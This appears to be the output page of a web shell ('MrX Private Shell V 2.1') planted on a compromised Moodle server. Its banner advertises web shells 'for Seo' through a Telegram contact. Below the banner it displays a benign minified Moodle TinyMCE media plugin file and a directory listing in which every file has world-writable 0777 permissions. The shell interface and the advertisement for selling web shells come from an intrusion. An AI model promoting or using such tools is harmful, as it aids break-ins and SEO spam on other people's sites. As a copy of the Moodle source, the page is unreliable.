__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
define("tiny_media/commands",["exports","core/str","./common","./image","./embed","./manager","editor_tiny/utils"],(function(_exports,_str,_common,_image,_embed,_manager,_utils){function _interopRequireDefault(obj){return obj&&obj.__esModule?obj:{default:obj}}
/**
* Tiny Media commands.
*
* @module tiny_media/commands
* @copyright 2022 Huong Nguyen <huongnv13@gmail.com>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
*/Object.defineProperty(_exports,"__esModule",{value:!0}),_exports.getSetup=void 0,_image=_interopRequireDefault(_image),_embed=_interopRequireDefault(_embed),_manager=_interopRequireDefault(_manager);const isImage=node=>"img"===node.nodeName.toLowerCase(),isVideo=node=>"video"===node.nodeName.toLowerCase()||"audio"===node.nodeName.toLowerCase();_exports.getSetup=async()=>{const[imageButtonText,mediaButtonText,mediaManagerButtonText]=await(0,_str.getStrings)(["imagebuttontitle","mediabuttontitle","mediamanagerbuttontitle"].map((key=>({key:key,component:_common.component})))),[mediaManagerButtonImage]=await Promise.all([(0,_utils.getButtonImage)("filemanager",_common.component)]);return editor=>{((editor,imageButtonText)=>{const handleImageAction=()=>{new _image.default(editor).displayDialogue()};editor.ui.registry.addToggleButton(_common.imageButtonName,{icon:"image",tooltip:imageButtonText,onAction:handleImageAction,onSetup:api=>editor.selection.selectorChangedWithUnbind("img:not([data-mce-object]):not([data-mce-placeholder]),figure.image",api.setActive).unbind}),editor.ui.registry.addMenuItem(_common.imageButtonName,{icon:"image",text:imageButtonText,onAction:handleImageAction}),editor.ui.registry.addContextToolbar(_common.imageButtonName,{predicate:isImage,items:_common.imageButtonName,position:"node",scope:"node"}),editor.ui.registry.addContextMenu(_common.imageButtonName,{update:isImage})})(editor,imageButtonText),((editor,videoButtonText)=>{const handleEmbedAction=()=>{new _embed.default(editor).displayDialogue()};editor.ui.registry.addToggleButton(_common.videoButtonName,{icon:"embed",tooltip:videoButtonText,onAction:handleEmbedAction,onSetup:api=>editor.selection.selectorChangedWithUnbind("video:not([data-mce-object]):not([data-mce-placeholder]),audio:not([data-mce-object]):not([data-mce-placeholder])",api.setActive).unbind}),editor.ui.registry.addMenuItem(_common.videoButtonName,{icon:"embed",text:videoButtonText,onAction:handleEmbedAction}),editor.ui.registry.addContextMenu(_common.videoButtonName,{update:isVideo}),editor.ui.registry.addContextToolbar(_common.videoButtonName,{predicate:isVideo,items:_common.videoButtonName,position:"node",scope:"node"})})(editor,mediaButtonText),((editor,mediaManagerButtonText,mediaManagerButtonImage)=>{const handleMediaManager=()=>{new _manager.default(editor).displayDialogue()};editor.ui.registry.addIcon("filemanager",mediaManagerButtonImage.html),editor.ui.registry.addButton(_common.mediaManagerButtonName,{icon:"filemanager",tooltip:mediaManagerButtonText,onAction:()=>{handleMediaManager()}}),editor.ui.registry.addMenuItem(_common.mediaManagerButtonName,{icon:"filemanager",text:mediaManagerButtonText,onAction:()=>{handleMediaManager()}})})(editor,mediaManagerButtonText,mediaManagerButtonImage)}}}));
//# sourceMappingURL=commands.min.js.map| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| commands.min.js | File | 3.23 KB | 0777 |
|
| commands.min.js.map | File | 7.76 KB | 0777 |
|
| common.min.js | File | 392 B | 0777 |
|
| common.min.js.map | File | 1.37 KB | 0777 |
|
| configuration.min.js | File | 1.55 KB | 0777 |
|
| configuration.min.js.map | File | 4.08 KB | 0777 |
|
| embed.min.js | File | 12.89 KB | 0777 |
|
| embed.min.js.map | File | 26.85 KB | 0777 |
|
| embedmodal.min.js | File | 944 B | 0777 |
|
| embedmodal.min.js.map | File | 1.98 KB | 0777 |
|
| image.min.js | File | 5.14 KB | 0777 |
|
| image.min.js.map | File | 12.49 KB | 0777 |
|
| imagedetails.min.js | File | 13.34 KB | 0777 |
|
| imagedetails.min.js.map | File | 33.82 KB | 0777 |
|
| imagehelpers.min.js | File | 2.62 KB | 0777 |
|
| imagehelpers.min.js.map | File | 6.67 KB | 0777 |
|
| imageinsert.min.js | File | 5.96 KB | 0777 |
|
| imageinsert.min.js.map | File | 14.74 KB | 0777 |
|
| imagemodal.min.js | File | 981 B | 0777 |
|
| imagemodal.min.js.map | File | 2.03 KB | 0777 |
|
| manager.min.js | File | 2.94 KB | 0777 |
|
| manager.min.js.map | File | 4.38 KB | 0777 |
|
| options.min.js | File | 1.19 KB | 0777 |
|
| options.min.js.map | File | 2.93 KB | 0777 |
|
| plugin.min.js | File | 2.06 KB | 0777 |
|
| plugin.min.js.map | File | 2.38 KB | 0777 |
|
| selectors.min.js | File | 3.13 KB | 0777 |
|
| selectors.min.js.map | File | 7.45 KB | 0777 |
|
| usedfiles.min.js | File | 3.27 KB | 0777 |
|
| usedfiles.min.js.map | File | 5.37 KB | 0777 |
|